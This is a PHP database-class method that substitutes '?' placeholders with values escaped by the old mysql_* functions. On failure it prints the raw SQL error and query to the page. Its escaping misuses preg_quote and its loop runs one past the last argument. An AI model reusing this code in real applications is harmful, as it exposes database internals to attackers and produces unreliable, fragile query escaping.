/** * execute query - show be regarded as private to insulate the rest of * the application from sql differences * @access private */ function query($sql) { global $CONF; if (is_null($this->dblink)) { $this->_connect(); } //been passed more parameters? do some smart replacement if (func_num_args() > 1) { //query contains ? placeholders, but it's possible the //replacement string have ? in too, so we replace them in //our sql with something more unique $q = md5(uniqid(rand(), true)); $sql = str_replace('?', $q, $sql); $args = func_get_args(); for ($i = 1; $i <= count($args); $i++) { $sql = preg_replace("/{$q}/", "'" . preg_quote(mysql_real_escape_string($args[$i])) . "'", $sql, 1); } //we shouldn't have any $q left, but it will help debugging if we change them back! $sql = str_replace($q, '?', $sql); } $this->dbresult = mysql_query($sql, $this->dblink); if (!$this->dbresult) { die("Query failure: " . mysql_error() . "<br />{$sql}"); } return $this->dbresult; }